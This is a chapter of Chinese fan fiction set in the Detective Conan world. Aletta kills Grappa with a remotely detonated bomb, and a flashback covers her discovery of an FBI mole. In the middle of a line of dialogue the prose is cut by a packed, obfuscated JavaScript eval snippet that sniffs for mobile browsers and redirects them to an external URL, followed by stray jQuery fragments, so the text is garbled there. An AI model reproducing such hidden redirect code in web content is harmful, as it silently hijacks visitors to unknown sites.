金色的阳光穿过仓库的大门,照在堆叠的货物箱上。
格拉帕面前是那批从美国运来的已经全部卸完的电子设备。
该查的他都查过了,封条、编号、重量、外包装,的确没有异常。
格拉帕不确定是不是有人提前收到了风声,还是说那些人已经知道这批货本就不是他的目标。
【已检查,没有问题——格拉帕】
事情没有按照他预期的方向发展,搞鬼的人没有被钓出来,运输线似乎又恢复了正常。
格拉帕在脑中回顾运输线各个环节中可能被遗漏的节点,复盘是否忽略了某个没有注意到的细节。
铃声突兀地响起,在仓库里激起回音。
屏幕上显示的来电备注是“Pastis”。
帕斯提斯。
格拉帕眯了眯眼睛,他完全确认这个代号的所有者已经没有能力拨通任何电话了。
他按下接听键,等待对方的开口。
“早上好。”
“今天不是万圣节,内格罗尼。”格拉帕嘴角上扬讥笑,“你真无聊。”
“你不知道自己已经被公安的人盯上了吗?”阿莱塔开了免提,放在电脑边,手指灵活地敲键盘,正匿名向警察厅公安部门写着举报信。
书房门关窗闭,帘子挡住旭日,室内昏沉沉的,只有一缕阳光射在她晦暗的脸颊上。
“别故作玄虚,”格拉帕忽而抬高音量,“有没有可能运输线出现问题是因为组织出现内鬼呢?”
时间在仓库里粘稠得流不动,声音也格外刺耳。
“你觉得,谁是那只鬼?”
阿莱塔点击“发送”,浅浅地笑了,“是我,你觉得呢?”
“你?”他先反问,很快一阵阵笑声就像铁锤钉桩般在空气中轰开,“别往自己脸上贴金了,全世界数百个情报机构,没有一个会招像你这样的人员。”
警笛声隐隐约约传进格拉帕耳中,“你在搞什么鬼?”他皱眉反问。
最近几个月里,这个仓库四周从来没有出现过可疑人员。
“或许是死去的帕斯提斯在向你索命。”
阿莱塔也惊讶于日本公安的速度,她话不多说,立刻按下了方盒里盛放的红色按钮。
“轰——”
震耳欲聋的爆炸声隔着手机传来。
阿莱塔挂断了电话。
这炸药的威力还真是猛。
爆炸的那一瞬间,仓库的承重柱就被冲击波撕裂,整排箱子被掀起、碎裂、燃烧。顶部的钢架扭曲变形,屋顶向中心塌陷。
灯光全部熄灭,烟雾和灰尘迅速填满了整个空间。
火焰覆盖了仓库。
爆炸不会给任何人逃亡时间。
仓库里的火或许还在燃烧,但书桌上的手机已经没了声音。
没有畅快,没有解脱,持续的空洞感在她心中蔓延。
她原本以为,随着格拉帕的死亡,那些在组织里无助的瞬间、被随意掌掴的痛苦和无声的绝望都会消失,然而这些该消失的东西依然留在原地。
她原本以为,自己会在此时此刻会感到一种万事结束的释放,一种长久以来的积压彻底卸下的轻松,但这些该出现的解脱感并没有出现。
*
三年前。
刚刚下课的阿莱塔骑着摩托冲往指定地点与帕斯提斯回合。
这是一项需要三人完成的暗杀任务。
阿莱塔负责情报,格拉帕负责行动,帕斯提斯负责清除现场。
摩托停在距指定地点的九百米左右,阿莱塔提前了一个多小时抵达,穿过茂盛的杂草,走向外观已经破损的旧教堂。
走过几排油漆斑驳的长椅,在高处的拱形窗漏下的淡薄光线中辨认着方向,继续向内部走去。
她在侧廊停下,退回到廊下的阴影中。
她听到声音了,从教堂侧翼的某个房间里传来的对话声,断断续续的。
其中一个人的声音她认得——是帕斯提斯,而另一个她没听过。
“……组织………FBI…格拉帕……”
“……那个节点还在,但位置可能已经变了。需要的话,再做调整。”
“那我建议你尽快调动,因为对方也在核对……如果错过的话………要多等至少一年的时间。”
听到这里,阿莱塔像被冻住了一样。
那些对话中的词句,那个在帕斯提斯旁边的陌生人,还有他们的计划……
她不该在这里,她不该听到这些,她不该……
她不能被发现!
阿莱塔准备后退,按着来时的路线往回走,屏息敛声,就像她不曾出现在这里一样。
然而,她的脚踩到了一块松动的地砖,极小的声响在众人神经紧绷的时刻骤然放大。
“谁!”是陌生男人的怒喝。
阿莱塔全身笼罩的阴影之下,她完全被那人的动静吓得怔住了。
紧接着,她的头发被粗暴地拽着,额头被冰凉的枪口抵着。
“等等,马丁内斯!”
帕斯提斯制止了即将按下的扣板。
“放开她!”
那个叫马丁内斯的男人勉强松开的拽住阿莱塔头发的手,但黑漆漆的枪口却没有任何要挪动的迹象。
“不行,她已经听到我们说的话了,她必须死!”
阿莱塔的脖子像被人掐住,嘴唇颤抖,怎么也说不出话,她听到了胸腔里的心跳声,紧紧闭着眼睛,好像这样能减少绝望。
早知道就不为了赶早骑着摩托过来了。
早知道进教堂前就和帕斯提斯发条短信了。
为什么她就这么倒霉。
她想自己真的要死了。
她在加入组织时就应该写好遗书。
不知是不是错觉,阿莱塔感到额头上冰凉坚硬的触感消失了。
“你现在已经知道我的身份了,”是熟悉的帕斯提斯的声音,“你愿意帮我做点事吗?”
阿莱塔捣蒜似的点头,救命,她还有其他选择吗,拜托拜托,一定要相信她,她是被胁迫加入组织的,她也很惨,她根本不是什么罄竹难书的犯罪分子。
名叫马丁内斯的联络人明显不满意帕斯提斯的做法,“你相信她?你别忘了……”
帕斯提斯暂且忽略了联络人,“别紧张。”
“……我什么都没听到,什么都没听到…”她揪住头发,泪水溢出眼眶。
“
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17932783|213655||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
你先回学校吧,有什么事情我会主动联系你。”
宛如天籁的声音将阿莱塔从地狱门口拉了上来。
她快速瞟了旁边凶神恶煞的男人一眼,落荒而逃般离开了这个恐怖之地。
*
“成功了?”伊莱亚斯揉着眼睛,倚在门框边,“书房怎么这么昏暗?也不把窗帘拉开。”
“没想到威力这么大。”阿莱塔靠着椅背,双腿交叠支在书桌上,脚后跟有节奏地敲着节拍。
“都说了是炸药专家,他会把东西做得非常到位。”
“你是怎么认识他的?”
“以前在道上认识的,接触过几次,来往多了就熟悉了。”伊莱亚斯在书房里转了转,眼睛搜寻着能落座的地方,“你呢?你在这边有没有交到什么朋友?拿出你的眼光来,别找些不三不四的黄毛。”
阿莱塔忍俊不禁,玉米辫宾加秒变黄毛。
“有一个叫宫野明美女生,我们认识了大约……两年。她是一个很温柔的人,相处起来轻松愉快。”
“挺好的,她应该是个好人。”伊莱亚斯点评,骤然回神,“等等!”
阿莱塔一惊:“你干嘛?”
伊莱亚斯眯了眯眼:“哎哟,妹妹,我多问你几句,你的那些朋友里面,有没有在谈恋爱的?”
她想到了诸星大,这家伙可是明美的男朋友,她打听过——无房无车无学历,让人忍不住吐槽,由于是明美的隐私,阿莱塔粗略回答:“宫野小姐确实有对象。”
随后想到了宾加,并立刻排除,此人做男做女都没谈过,因而说:“去年在西雅图的时候,我不是带两个朋友回过家吗?他们都没有恋人。”
伊莱亚斯点点头,就是说黄毛和格蕾斯小姐都没谈过恋爱呗。
“我在日本还有一个朋友叫橘境子,是我刚到日本时认识的。”阿莱塔开始夸赞对方的学习能力、不屈意志,以及即便没钱也要坚持接公安案件的精神,“像这样非常有事业心的女士肯定也没有对象。”
“好了快说吧,你要知道这些干嘛?”
“哈哈,探探你的底而已。”
其实他真正想问的是“你有没有谈恋爱”,拿“你朋友们”当幌子,还不显得太刻意。
伊莱亚斯最终坐到了书桌上,“你什么时候回国?”
“不知道,可能还要一段时间吧。”
阿莱塔也无法保证,看BOSS和朗姆的安排吧。
“一段时间是多久?”他语气随意,没有问出那句“你在日本又没有工作,干嘛留在这个陌生的国家”。
“一段时间就是……一段时间。”
“那你去读硕士的计划呢?”伊莱亚斯换了个她一定感兴趣的话题,“你不是一直想读吗?你有考虑过在近期内申请吗?”
他总有点不安,妹妹像是在做什么不让他知道的危险工作,他得赶紧把她拉回来。
“……你还没忘啊。”
“如果你打算读的话,我可以帮你把费用解决。”他的语气里没有炫耀的意味,“我现在的收入还不错,不需要你承担经济压力,不用贷款,也没有资金问题。”
“天文学、经济学……如果一直拖延,或许会错过一些机会。”他提醒。